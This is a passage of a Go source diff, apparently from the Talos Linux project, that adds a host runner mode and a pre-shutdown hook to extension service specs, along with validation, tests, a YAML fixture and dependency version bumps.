"podruntime" @@ -1423,6 +1445,11 @@ const ( // SwapVolumePrefix is the prefix for the swap volumes. SwapVolumePrefix = "s-" + // ContainerServicePIDPrefix distinguishes container PIDs from Talos service PIDs in the ServicePID + // namespace, parallel to the "ext-" prefix extension services use, so an AllowedServices glob can + // target containers without risking a collision with an unrelated service name. + ContainerServicePIDPrefix = "ctr-" + // PartitionLabelLength is the length of the partition label. // // See https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_entries_(LBA_2%E2%80%9333) diff --git a/pkg/machinery/extensions/services/runner_mode.go b/pkg/machinery/extensions/services/runner_mode.go new file mode 100644 index 00000000000..b0bff1a781a --- /dev/null +++ b/pkg/machinery/extensions/services/runner_mode.go @@ -0,0 +1,16 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package services + +//go:generate go tool github.com/dmarkham/enumer -type=RunnerMode -linecomment -text + +// RunnerMode specifies how the extension service should be run. +type RunnerMode int + +// RunnerMode constants. +const ( + RunnerModeContainer RunnerMode = iota // container + RunnerModeHost // host +) diff --git a/pkg/machinery/extensions/services/runnermode_enumer.go b/pkg/machinery/extensions/services/runnermode_enumer.go new file mode 100644 index 00000000000..164f62dcaee --- /dev/null +++ b/pkg/machinery/extensions/services/runnermode_enumer.go @@ -0,0 +1,90 @@ +// Code generated by "enumer -type=RunnerMode -linecomment -text"; DO NOT EDIT. + +package services + +import ( + "fmt" + "strings" +) + +const _RunnerModeName = "containerhost" + +var _RunnerModeIndex = [...]uint8{0, 9, 13} + +const _RunnerModeLowerName = "containerhost" + +func (i RunnerMode) String() string { + if i < 0 || i >= RunnerMode(len(_RunnerModeIndex)-1) { + return fmt.Sprintf("RunnerMode(%d)", i) + } + return _RunnerModeName[_RunnerModeIndex[i]:_RunnerModeIndex[i+1]] +} + +// An "invalid array index" compiler error signifies that the constant values have changed. +// Re-run the stringer command to generate them again. +func _RunnerModeNoOp() { + var x [1]struct{} + _ = x[RunnerModeContainer-(0)] + _ = x[RunnerModeHost-(1)] +} + +var _RunnerModeValues = []RunnerMode{RunnerModeContainer, RunnerModeHost} + +var _RunnerModeNameToValueMap = map[string]RunnerMode{ + _RunnerModeName[0:9]: RunnerModeContainer, + _RunnerModeLowerName[0:9]: RunnerModeContainer, + _RunnerModeName[9:13]: RunnerModeHost, + _RunnerModeLowerName[9:13]: RunnerModeHost, +} + +var _RunnerModeNames = []string{ + _RunnerModeName[0:9], + _RunnerModeName[9:13], +} + +// RunnerModeString retrieves an enum value from the enum constants string name. +// Throws an error if the param is not part of the enum. +func RunnerModeString(s string) (RunnerMode, error) { + if val, ok := _RunnerModeNameToValueMap[s]; ok { + return val, nil + } + + if val, ok := _RunnerModeNameToValueMap[strings.ToLower(s)]; ok { + return val, nil + } + return 0, fmt.Errorf("%s does not belong to RunnerMode values", s) +} + +// RunnerModeValues returns all values of the enum +func RunnerModeValues() []RunnerMode { + return _RunnerModeValues +} + +// RunnerModeStrings returns a slice of all String values of the enum +func RunnerModeStrings() []string { + strs := make([]string, len(_RunnerModeNames)) + copy(strs, _RunnerModeNames) + return strs +} + +// IsARunnerMode returns "true" if the value is listed in the enum definition. "false" otherwise +func (i RunnerMode) IsARunnerMode() bool { + for _, v := range _RunnerModeValues { + if i == v { + return true + } + } + return false +} + +// MarshalText implements the encoding.TextMarshaler interface for RunnerMode +func (i RunnerMode) MarshalText() ([]byte, error) { + return []byte(i.String()), nil +} + +// UnmarshalText implements the encoding.TextUnmarshaler interface for RunnerMode +func (i *RunnerMode) UnmarshalText(text []byte) error { + var err error + *i, err = RunnerModeString(string(text)) + return err +} diff --git a/pkg/machinery/extensions/services/services.go b/pkg/machinery/extensions/services/services.go index ab3f62efa3f..97171c19e5f 100644 --- a/pkg/machinery/extensions/services/services.go +++ b/pkg/machinery/extensions/services/services.go @@ -10,6 +10,7 @@ import ( "fmt" "path/filepath" "regexp" + "time" "github.com/hashicorp/go-multierror" "github.com/opencontainers/runtime-spec/specs-go" @@ -23,21 +24,42 @@ type Spec struct { // // Valid: [-_a-z0-9]+ Name string `yaml:"name"` - // Container to run. + // Container specifies the process and its container-specific options. // - // Container rootfs should be extracted to the /usr/local/lib/containers/. + // The rootfs should be extracted to /usr/local/lib/containers/. Container Container `yaml:"container"` + // RunnerMode selects how to run the service. It defaults to container when omitted. + // + // Host mode runs the entrypoint directly from the Talos host filesystem and does + // not use a per-service container rootfs. Container mounts, security options, and + // extension service config files are not supported in host mode. + RunnerMode RunnerMode `yaml:"runnerMode,omitempty"` // Service dependencies. Depends []Dependency `yaml:"depends"` // Restart configuration. Restart RestartKind `yaml:"restart"` + // PreShutdown specifies a command to run before node shutdown. + PreShutdown *Command `yaml:"preShutdown,omitempty"` // LogToConsole enables sending service logs to the console. LogToConsole bool `yaml:"logToConsole"` } +// Command specifies a bounded host command to run during a service lifecycle hook. +type Command struct { + // Entrypoint is the absolute host path to execute. + Entrypoint string `yaml:"entrypoint"` + // Args are passed to the entrypoint. + Args []string `yaml:"args,omitempty"` + // Timeout bounds command execution. + Timeout time.Duration `yaml:"timeout"` +} + // Container specifies service container to run. type Container struct { - // Entrypoint for the service, relative to the container rootfs. + // Entrypoint for the service. + // + // It is relative to the container rootfs in container mode and must be an absolute + // host path in host mode. Entrypoint string `yaml:"entrypoint"` // Environment variables for the service. Environment []string `yaml:"environment"` @@ -97,8 +119,24 @@ func (spec *Spec) Validate() error { multiErr = multierror.Append(multiErr, fmt.Errorf("restart kind is invalid: %s", spec.Restart)) } + if !spec.RunnerMode.IsARunnerMode() { + multiErr = multierror.Append(multiErr, fmt.Errorf("runner mode is invalid: %s", spec.RunnerMode)) + } + multiErr = multierror.Append(multiErr, spec.Container.Validate()) + if spec.RunnerMode == RunnerModeHost { + multiErr = multierror.Append(multiErr, spec.validateHostMode()) + } + + if spec.PreShutdown != nil { + if spec.RunnerMode != RunnerModeHost { + multiErr = multierror.Append(multiErr, errors.New("pre-shutdown hook is only supported in host runner mode")) + } + + multiErr = multierror.Append(multiErr, spec.PreShutdown.Validate()) + } + for _, dep := range spec.Depends { multiErr = multierror.Append(multiErr, dep.Validate()) } @@ -106,6 +144,40 @@ func (spec *Spec) Validate() error { return multiErr.ErrorOrNil() } +func (spec *Spec) validateHostMode() error { + var multiErr *multierror.Error + + if len(spec.Container.Mounts) > 0 { + multiErr = multierror.Append(multiErr, errors.New("container mounts are not supported in host runner mode")) + } + + security := spec.Container.Security + if security.WriteableSysfs || len(security.MaskedPaths) > 0 || len(security.ReadonlyPaths) > 0 || security.WriteableRootfs || security.RootfsPropagation != "" { + multiErr = multierror.Append(multiErr, errors.New("container security options are not supported in host runner mode")) + } + + if !filepath.IsAbs(spec.Container.Entrypoint) { + multiErr = multierror.Append(multiErr, fmt.Errorf("container entrypoint must be an absolute host path in host runner mode: %q", spec.Container.Entrypoint)) + } + + return multiErr.ErrorOrNil() +} + +// Validate the command spec. +func (command *Command) Validate() error { + var multiErr *multierror.Error + + if !filepath.IsAbs(command.Entrypoint) { + multiErr = multierror.Append(multiErr, fmt.Errorf("pre-shutdown entrypoint must be an absolute host path: %q", command.Entrypoint)) + } + + if command.Timeout <= 0 { + multiErr = multierror.Append(multiErr, errors.New("pre-shutdown timeout must be positive")) + } + + return multiErr.ErrorOrNil() +} + // Validate the container spec. func (ctr *Container) Validate() error { var multiErr *multierror.Error diff --git a/pkg/machinery/extensions/services/services_test.go b/pkg/machinery/extensions/services/services_test.go index d150b09a632..d10ae3b25fa 100644 --- a/pkg/machinery/extensions/services/services_test.go +++ b/pkg/machinery/extensions/services/services_test.go @@ -7,6 +7,7 @@ package services_test import ( _ "embed" "testing" + "time" "github.com/opencontainers/runtime-spec/specs-go" "github.com/stretchr/testify/assert" @@ -20,6 +21,9 @@ import ( //go:embed "testdata/hello.yaml" var helloYAML []byte +//go:embed "testdata/hello-host.yaml" +var helloHostYAML []byte + func TestUnmarshal(t *testing.T) { var spec services.Spec @@ -54,6 +58,29 @@ func TestUnmarshal(t *testing.T) { }, spec) assert.NoError(t, spec.Validate()) + assert.Equal(t, services.RunnerModeContainer, spec.RunnerMode) +} + +func TestUnmarshalHostRunnerMode(t *testing.T) { + var spec services.Spec + + require.NoError(t, yaml.Unmarshal(helloHostYAML, &spec)) + + assert.Equal(t, services.RunnerModeHost, spec.RunnerMode) + assert.Equal(t, &services.Command{ + Entrypoint: "/usr/local/bin/hello-shutdown", + Args: []string{"--graceful"}, + Timeout: 30 * time.Second, + }, spec.PreShutdown) + assert.NoError(t, spec.Validate()) +} + +func TestInvalidRunnerModeUnmarshal(t *testing.T) { + var spec services.Spec + + err := yaml.Unmarshal([]byte("name: foo\nrunnerMode: bogus\ncontainer:\n entrypoint: foo\nrestart: always\n"), &spec) + require.Error(t, err) + assert.Contains(t, err.Error(), "bogus") } func TestValidate(t *testing.T) { @@ -78,6 +105,119 @@ func TestValidate(t *testing.T) { }, expectedError: "1 error occurred:\n\t* name \"FOO\" is invalid\n\n", }, + { + name: "invalid runner mode", + spec: services.Spec{ + Name: "foo", + Container: services.Container{ + Entrypoint: "foo", + }, + RunnerMode: services.RunnerMode(100), + Restart: services.RestartAlways, + }, + expectedError: "1 error occurred:\n\t* runner mode is invalid: RunnerMode(100)\n\n", + }, + { + name: "host runner with mounts", + spec: services.Spec{ + Name: "foo", + Container: services.Container{ + Entrypoint: "/usr/local/bin/foo", + Mounts: []specs.Mount{{Source: "/source", Destination: "/destination"}}, + }, + RunnerMode: services.RunnerModeHost, + Restart: services.RestartAlways, + }, + expectedError: "1 error occurred:\n\t* container mounts are not supported in host runner mode\n\n", + }, + { + name: "host runner with security options", + spec: services.Spec{ + Name: "foo", + Container: services.Container{ + Entrypoint: "/usr/local/bin/foo", + Security: services.Security{ + WriteableRootfs: true, + }, + }, + RunnerMode: services.RunnerModeHost, + Restart: services.RestartAlways, + }, + expectedError: "1 error occurred:\n\t* container security options are not supported in host runner mode\n\n", + }, + { + name: "host runner with empty security paths", + spec: services.Spec{ + Name: "foo", + Container: services.Container{ + Entrypoint: "/usr/local/bin/foo", + Security: services.Security{ + MaskedPaths: []string{}, + ReadonlyPaths: []string{}, + }, + }, + RunnerMode: services.RunnerModeHost, + Restart: services.RestartAlways, + }, + }, + { + name: "host runner with relative entrypoint", + spec: services.Spec{ + Name: "foo", + Container: services.Container{ + Entrypoint: "usr/local/bin/foo", + }, + RunnerMode: services.RunnerModeHost, + Restart: services.RestartAlways, + }, + expectedError: "1 error occurred:\n\t* container entrypoint must be an absolute host path in host runner mode: \"usr/local/bin/foo\"\n\n", + }, + { + name: "container runner with pre-shutdown hook", + spec: services.Spec{ + Name: "foo", + Container: services.Container{ + Entrypoint: "foo", + }, + Restart: services.RestartAlways, + PreShutdown: &services.Command{ + Entrypoint: "/usr/local/bin/foo-shutdown", + Timeout: time.Minute, + }, + }, + expectedError: "1 error occurred:\n\t* pre-shutdown hook is only supported in host runner mode\n\n", + }, + { + name: "pre-shutdown hook with relative entrypoint", + spec: services.Spec{ + Name: "foo", + Container: services.Container{ + Entrypoint: "/usr/local/bin/foo", + }, + RunnerMode: services.RunnerModeHost, + Restart: services.RestartAlways, + PreShutdown: &services.Command{ + Entrypoint: "usr/local/bin/foo-shutdown", + Timeout: time.Minute, + }, + }, + expectedError: "1 error occurred:\n\t* pre-shutdown entrypoint must be an absolute host path: \"usr/local/bin/foo-shutdown\"\n\n", + }, + { + name: "pre-shutdown hook without timeout", + spec: services.Spec{ + Name: "foo", + Container: services.Container{ + Entrypoint: "/usr/local/bin/foo", + }, + RunnerMode: services.RunnerModeHost, + Restart: services.RestartAlways, + PreShutdown: &services.Command{ + Entrypoint: "/usr/local/bin/foo-shutdown", + }, + }, + expectedError: "1 error occurred:\n\t* pre-shutdown timeout must be positive\n\n", + }, { name: "invalid deps", spec: services.Spec{ @@ -109,6 +249,12 @@ func TestValidate(t *testing.T) { } { t.Run(tt.name, func(t *testing.T) { err := tt.spec.Validate() + if tt.expectedError == "" { + assert.NoError(t, err) + + return + } + assert.EqualError(t, err, tt.expectedError) }) } diff --git a/pkg/machinery/extensions/services/testdata/hello-host.yaml b/pkg/machinery/extensions/services/testdata/hello-host.yaml new file mode 100644 index 00000000000..f91c2ba87c0 --- /dev/null +++ b/pkg/machinery/extensions/services/testdata/hello-host.yaml @@ -0,0 +1,14 @@ +name: hello-host +runnerMode: host +container: + entrypoint: /usr/local/bin/hello-world + environment: + - MODE=host + args: + - --log=debug +restart: always +preShutdown: + entrypoint: /usr/local/bin/hello-shutdown + args: + - --graceful + timeout: 30s diff --git a/pkg/machinery/gendata/data/pkgs b/pkg/machinery/gendata/data/pkgs index b1717c3d245..c61d7ebe50e 100644 --- a/pkg/machinery/gendata/data/pkgs +++ b/pkg/machinery/gendata/data/pkgs @@ -1 +1 @@ -v1.14.0-10-g13c7afc \ No newline at end of file +v1.14.0-15-g2f03590 \ No newline at end of file diff --git a/pkg/machinery/gendata/data/tools b/pkg/machinery/gendata/data/tools index fb6e542eb17..16e36f6d6d4 100644 --- a/pkg/machinery/gendata/data/tools +++ b/pkg/machinery/gendata/data/tools @@ -1 +1 @@ -v1.14.0-4-g2c8cf5a \ No newline at end of file +v1.14.0-5-g87316ca \ No newline at end of file diff --git a/pkg/machinery/go.mod b/pkg/machinery/go.mod index 6d6a2df62a6..c46e2225e87 100644 --- a/pkg/machinery/go.mod +++ b/pkg/machinery/go.mod @@ -8,7 +8,7 @@ replace github.com/mdlayher/ethtool => github.com/siderolabs/ethtool v0.6.0-side require ( github.com/blang/semver/v4 v4.0.0 github.com/containerd/go-cni v1.1.13 - github.com/cosi-project/runtime v1.16.2 + github.com/cosi-project/runtime v1.16.3 github.com/dustin/go-humanize v1.0.1 github.com/emicklei/dot v1.11.0 github.com/evanphx/json-patch v5.9.11+incompatible @@ -29,13 +29,13 @@ require ( github.com/siderolabs/go-pointer v1.0.1 github.com/siderolabs/net v0.4.0 github.com/siderolabs/protoenc v0.2.4 - github.com/stretchr/testify v1.11.1 + github.com/stretchr/testify v1.12.1 go.uber.org/zap v1.28.0 go.yaml.in/yaml/v4 v4.0.0-rc.6 golang.org/x/net v0.58.0 google.golang.org/genproto/googleapis/api v0.0.0-20260810153831-ec0a7760b754 google.golang.org/genproto/googleapis/rpc v0.0.0-20260810153831-ec0a7760b754 - google.golang.org/grpc v1.83.0 + google.golang.org/grpc v1.83.2 google.golang.org/protobuf v1.36.12 ) @@ -48,10 +48,9 @@ require ( github.com/cenkalti/backoff/v4 v4.3.0 // indirect github.com/cloudflare/circl v1.6.4 // indirect github.com/containernetworking/cni v1.3.0 // indirect - github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect github.com/gertd/go-pluralize v0.2.1 // indirect github.com/google/go-cmp v0.7.0 // indirect - github.com/grpc-ecosystem/grpc-gateway/v2 v2.29.0 // indirect + github.com/grpc-ecosystem/grpc-gateway/v2 v2.30.0 // indirect github.com/hashicorp/errwrap v1.1.0 // indirect github.com/mdlayher/genetlink v1.4.0 // indirect github.com/mdlayher/netlink v1.11.2 // indirect @@ -59,10 +58,9 @@ require ( github.com/opencontainers/go-digest v1.0.0 // indirect github.com/petermattis/goid v0.0.0-20260713124913-97594f28f5ca // indirect github.com/pkg/browser v0.0.0-20240102092130-5ac0b6a4141c // indirect - github.com/pmezard/go-difflib v1.0.0 // indirect github.com/sasha-s/go-deadlock v0.3.9 // indirect go.uber.org/multierr v1.11.0 // indirect - go.yaml.in/yaml/v3 v3.0.4 // indirect + go.yaml.in/yaml/v3 v3.0.5 // indirect golang.org/x/crypto v0.55.0 // indirect golang.org/x/exp v0.0.0-20260709172345-9ea1abe57597 // indirect golang.org/x/sync v0.22.0 // indirect @@ -70,5 +68,4 @@ require ( golang.org/x/text v0.41.0 // indirect golang.org/x/time v0.15.0 // indirect gopkg.in/yaml.v2 v2.4.0 // indirect - gopkg.in/yaml.v3 v3.0.1 // indirect ) diff --git a/pkg/machinery/go.sum b/pkg/machinery/go.sum index 19c8629f850..4253125bb8a 100644 --- a/pkg/machinery/go.sum +++ b/pkg/machinery/go.sum @@ -24,10 +24,8 @@ github.com/containerd/go-cni v1.1.13 h1:eFSGOKlhoYNxpJ51KRIMHZNlg5UgocXEIEBGkY7H github.com/containerd/go-cni v1.1.13/go.mod h1:nTieub0XDRmvCZ9VI/SBG6PyqT95N4FIhxsauF1vSBI= github.com/containernetworking/cni v1.3.0 h1:v6EpN8RznAZj9765HhXQrtXgX+ECGebEYEmnuFjskwo= github.com/containernetworking/cni v1.3.0/go.mod h1:Bs8glZjjFfGPHMw6hQu82RUgEPNGEaBb9KS5KtNMnJ4= -github.com/cosi-project/runtime v1.16.2 h1:sgjOMrnaElrja93kkJJJIQYwd45PhpGl9cBci9yqn5c= -github.com/cosi-project/runtime v1.16.2/go.mod h1:+GrSnmJjMfWMe6NubevwwXQf/v7afddDLeCbLonvvps= -github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM= -github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/cosi-project/runtime v1.16.3 h1:EQ1oubPjAVPnAFc5GhSGfHuiPcm8b2g2XsPnpl+Wq0g= +github.com/cosi-project/runtime v1.16.3/go.mod h1:p3nyBuIqeipcfQHuM9uGjLkFN2gYA9GJFL4oSEEtmm0= github.com/dlclark/regexp2 v1.11.0 h1:G/nrcoOa7ZXlpoa/91N3X7mM3r8eIlMBBJZvsz/mxKI= github.com/dlclark/regexp2 v1.11.0/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8= github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY= @@ -40,8 +38,8 @@ github.com/gertd/go-pluralize v0.2.1 h1:M3uASbVjMnTsPb0PNqg+E/24Vwigyo/tvyMTtAlL github.com/gertd/go-pluralize v0.2.1/go.mod h1:rbYaKDbsXxmRfr8uygAEKhOWsjyrrqrkHVpZvoOp8zk= github.com/ghodss/yaml v1.0.0 h1:wQHKEahhL6wmXdzwWG11gIVCkOv05bNOh+Rxn0yngAk= github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= -github.com/go-logr/logr v1.4.3 h1:CjnDlHq8ikf6E492q6eKboGOC0T8CDaOvkHCIg8idEI= -github.com/go-logr/logr v1.4.3/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= +github.com/go-logr/logr v1.4.4 h1:tG4xh9yMsRCAiodLVTxyrkzSZ9+o0L1Kg/+cPVcbP/8= +github.com/go-logr/logr v1.4.4/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag= github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE= github.com/go-task/slim-sprig/v3 v3.0.0 h1:sUs3vkvUymDpBKi3qH1YSqBQk9+9D/8M2mN1vB6EwHI= @@ -58,8 +56,8 @@ github.com/google/pprof v0.0.0-20240727154555-813a5fbdbec8 h1:FKHo8hFI3A+7w0aUQu github.com/google/pprof v0.0.0-20240727154555-813a5fbdbec8/go.mod h1:K1liHPHnj73Fdn/EKuT8nrFqBihUSKXoLYU0BuatOYo= github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/grpc-ecosystem/grpc-gateway/v2 v2.29.0 h1:5VipnvEpbqr2gA2VbM+nYVbkIF28c5ZQfqCBQ5g2xfk= -github.com/grpc-ecosystem/grpc-gateway/v2 v2.29.0/go.mod h1:Hyl3n6Twe1hvtd9XUXDec4pTvgMSEixRuQKPTMH2bNs= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.30.0 h1:/Tnpcb2E0Pz/tN9s3bfEY2Q8ePCEX9iuS+cneUwncnw= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.30.0/go.mod h1:zOBXOsUaBSjKgmH4OGzV1esUpR3oUSCPYVd2cUBjKYY= github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I= github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= @@ -67,8 +65,8 @@ github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+l github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM= github.com/jsimonetti/rtnetlink/v2 v2.2.1-0.20260802200809-43bafec815b3 h1:J6v2VXhjrJoRebtENwDSEphEuVK37akK2xS5qFnGqyc= github.com/jsimonetti/rtnetlink/v2 v2.2.1-0.20260802200809-43bafec815b3/go.mod h1:kJVDnzZlnEw9spAMlgqheZICuD+kX3S7/dcBjNRvnAQ= -github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= -github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= +github.com/kr/pretty v0.2.1 h1:Fmg33tUaq4/8ym9TJN1x7sLJnHVwhP33CNkpYV/7rwI= +github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= github.com/mdlayher/genetlink v1.4.0 h1:f/Xs7Y2T+GyX9b3dbiUhnLE9InGs5F9RxJ2JwBMl71o= @@ -94,10 +92,6 @@ github.com/pkg/browser v0.0.0-20240102092130-5ac0b6a4141c h1:+mdjkGKdHQG3305AYmd github.com/pkg/browser v0.0.0-20240102092130-5ac0b6a4141c/go.mod h1:7rwL4CYBLnjLxUqIJNnCWiEdr3bn6IUYi15bNlnbCCU= github.com/planetscale/vtprotobuf v0.6.1-0.20260702190614-8ae5a48058df h1:x2ymdov8jnZLDPfI+VVcf/ZvzuZ2u36ieXTuQASMkWI= github.com/planetscale/vtprotobuf v0.6.1-0.20260702190614-8ae5a48058df/go.mod h1:araspv2uYKozbi5lrKaqpv1/Uei7eQSml8JCw2A3IRg= -github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= -github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/rogpeppe/go-internal v1.15.0 h1:D0RCU5rMAp+SpgkiNdrjfJ+LX4J1M32V2NeCY7EJ6hc= -github.com/rogpeppe/go-internal v1.15.0/go.mod h1:DrUVZyrJU+txYW5/1kwtXQSMFio52ZOxX7yM1VHvnxs= github.com/ryanuber/go-glob v1.0.0 h1:iQh3xXAumdQ+4Ufa5b25cRpC5TYKlno6hsv6Cb3pkBk= github.com/ryanuber/go-glob v1.0.0/go.mod h1:807d1WSdnB0XRJzKNil9Om6lcp/3a0v4qIHxIXzX/Yc= github.com/santhosh-tekuri/jsonschema/v6 v6.0.3 h1:1EYB5IzjZawrrnELUi78f9fPu57HuXjmddZPjrls/28= @@ -120,32 +114,32 @@ github.com/siderolabs/net v0.4.0 h1:1bOgVay/ijPkJz4qct98nHsiB/ysLQU0KLoBC4qLm7I= github.com/siderolabs/net v0.4.0/go.mod h1:/ibG+Hm9HU27agp5r9Q3eZicEfjquzNzQNux5uEk0kM= github.com/siderolabs/protoenc v0.2.4 h1:D3Fpn2nQSQOhl8ZlAxijZAf7K6F8CM1uZq0afIGsr8Q= github.com/siderolabs/protoenc v0.2.4/go.mod h1:i5XLHjfv5vyi7LhQrSEo19HCA+lYtDd7CWxsoWp9XE8= -github.com/stretchr/objx v0.5.2 h1:xuMeJ0Sdp5ZMRXx/aWO6RZxdr3beISkG5/G/aIRr3pY= -github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA= -github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= -github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= +github.com/stretchr/objx v0.5.3 h1:jmXUvGomnU1o3W/V5h2VEradbpJDwGrzugQQvL0POH4= +github.com/stretchr/objx v0.5.3/go.mod h1:rDQraq+vQZU7Fde9LOZLr8Tax6zZvy4kuNKF+QYS+U0= +github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE= +github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg= github.com/vishvananda/netns v0.0.4 h1:Oeaw1EM2JMxD51g9uhtC0D7erkIjgmj8+JZc26m1YX8= github.com/vishvananda/netns v0.0.4/go.mod h1:SpkAiCQRtJ6TvvxPnOSyH3BMl6unz3xZlaprSwhNNJM= go.opentelemetry.io/auto/sdk v1.2.1 h1:jXsnJ4Lmnqd11kwkBV2LgLoFMZKizbCi5fNZ/ipaZ64= go.opentelemetry.io/auto/sdk v1.2.1/go.mod h1:KRTj+aOaElaLi+wW1kO/DZRXwkF4C5xPbEe3ZiIhN7Y= -go.opentelemetry.io/otel v1.44.0 h1:JjwHmHpA4iZ3wBxluu2fbbE7j4kqlE8jXyAyPXH7HqU= -go.opentelemetry.io/otel v1.44.0/go.mod h1:BMgjTHL9WPRlRjL2oZCBTL4whCGtXch2H4BhOPIAyYc= -go.opentelemetry.io/otel/metric v1.44.0 h1:1w0gILTcHdr3YI+ixLyjemwrVnsMURbTZFrSYCdDdmc= -go.opentelemetry.io/otel/metric v1.44.0/go.mod h1:8O7hanEPBNgEMmybD3s2VBKcgWOCsA6tzHBPODAiquo= -go.opentelemetry.io/otel/sdk v1.44.0 h1:nHYwb9lK+fJPU/dnT6s7W7Z8itMWyqrnVfbheVYrZ58= -go.opentelemetry.io/otel/sdk v1.44.0/go.mod h1:Osuydd3Se74nqjAKxid74N5eC+jfEqfTegHRnq58oK0= +go.opentelemetry.io/otel v1.45.0 h1:pdrWmLHofpubmArBv1LgFSv1Z0Ie/ppdZzu+kUN5EeU= +go.opentelemetry.io/otel v1.45.0/go.mod h1:XZxIqPapzEYnhNSScF5DIqXhm/rYi0FzCe2XddAwZfQ= +go.opentelemetry.io/otel/metric v1.45.0 h1:7Eg1uH7CJ5cXv9is6tnBe1FI6rj1nwUdbFypRm3br/M= +go.opentelemetry.io/otel/metric v1.45.0/go.mod h1:HAPbm1nd3p1PmFH7v2dR+6BjXxw+Lq4a2+pndMAm08s= +go.opentelemetry.io/otel/sdk v1.45.0 h1:4VVSMgQ83dUgW2aoX5f6JgLvHwIvzcuLnF9lUdCSpCw= +go.opentelemetry.io/otel/sdk v1.45.0/go.mod h1:Sr40LgXV7DsKMMJMKOhUWOgMWTfAaqvm2kF0g7ilwuA= go.opentelemetry.io/otel/sdk/metric v1.44.0 h1:3LlKgI+VjbVsjNRFZJZAJ30WjXC5VkNRks6si09iEfI= go.opentelemetry.io/otel/sdk/metric v1.44.0/go.mod h1:5B5pMARnXxKhltooO4xUuCBorl65a4EpnTalObqOigA= -go.opentelemetry.io/otel/trace v1.44.0 h1:jxF5CsGYCe74MCRx2X4g7WsY/VBKRqqpNvXlX/6gtIk= -go.opentelemetry.io/otel/trace v1.44.0/go.mod h1:oLl1jrMQAVo6v3GAggN+1VH9VIz9iUSvW53sW1Q8PIE= +go.opentelemetry.io/otel/trace v1.45.0 h1:l/mP6Uv7oNO7/TblbhpbgMidxhq1uO/rPsikOyVhxag= +go.opentelemetry.io/otel/trace v1.45.0/go.mod h1:qoJJA2xNMnxRrdISU/kLtfUH2wNeQbiv+jhs/CxI8bc= go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto= go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE= go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0= go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y= go.uber.org/zap v1.28.0 h1:IZzaP1Fv73/T/pBMLk4VutPl36uNC+OSUh3JLG3FIjo= go.uber.org/zap v1.28.0/go.mod h1:rDLpOi171uODNm/mxFcuYWxDsqWSAVkFdX4XojSKg/Q= -go.yaml.in/yaml/v3 v3.0.4 